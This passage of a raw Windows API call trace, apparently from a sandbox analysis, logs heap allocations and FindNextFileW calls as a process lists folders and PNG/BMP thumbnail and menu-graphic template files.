(HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4900 [0065.973] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb9148 [0065.973] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.973] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HueCycle", cAlternateFileName="")) returned 1 [0065.973] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LayeredTitles", cAlternateFileName="")) returned 1 [0065.973] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories", cAlternateFileName="")) returned 1 [0065.973] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e96ab6a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e96ab6a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="menu_style_default_Thumbnail.png", cAlternateFileName="")) returned 1 [0065.973] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.973] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.973] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.973] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.973] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.973] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4920 [0065.973] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb9250 [0065.973] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.973] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0065.974] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.974] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.974] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.974] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.974] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.974] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4940 [0065.974] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb9358 [0065.974] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.974] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0065.974] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.974] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.974] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.974] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.974] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.974] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4960 [0065.974] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb9460 [0065.974] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.974] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef38095, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef38095, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0065.974] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.974] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.974] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.974] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.974] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.974] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4980 [0065.974] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb9568 [0065.974] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.975] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef5e1f2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef5e1f2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0065.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.975] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.975] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb49a0 [0065.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb9670 [0065.975] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.975] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0065.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.975] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.975] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb49c0 [0065.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb9778 [0065.975] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.975] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0065.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.975] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.975] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb49e0 [0065.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb9880 [0065.976] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.976] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OldAge", cAlternateFileName="")) returned 1 [0065.976] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="")) returned 1 [0065.976] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets", cAlternateFileName="")) returned 1 [0065.976] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ee00a15, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x4ee00a15, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_buttongraphic.png", cAlternateFileName="")) returned 1 [0065.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.976] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.976] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4a00 [0065.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb9988 [0065.976] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.976] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8601df, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8601df, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1274, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0065.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.976] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.976] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4a20 [0065.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb9a90 [0065.976] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.976] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e88633c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e88633c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_videoinset.png", cAlternateFileName="")) returned 1 [0065.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.976] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.976] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4a40 [0065.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb9b98 [0065.977] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.977] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efaa4ac, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efaa4ac, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x59b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0065.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.977] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.977] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4a60 [0065.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb9ca0 [0065.977] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.977] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x160f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0065.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.977] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.977] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4a80 [0065.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb9da8 [0065.977] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.977] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_VideoInset.png", cAlternateFileName="")) returned 1 [0065.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.977] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.977] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4aa0 [0065.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb9eb0 [0065.978] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.978] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Push", cAlternateFileName="")) returned 1 [0065.978] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rectangles", cAlternateFileName="")) returned 1 [0065.978] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_babypink_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0065.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.978] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.978] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4ac0 [0065.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb9fb8 [0065.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xb40) returned 0xfaa438 [0065.978] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfbcd10) returned 1 [0065.978] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.978] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0065.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.978] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.978] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4ae0 [0065.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfba0c0 [0065.979] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.979] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eac17af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eac17af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_highlights_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0065.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.979] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.979] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 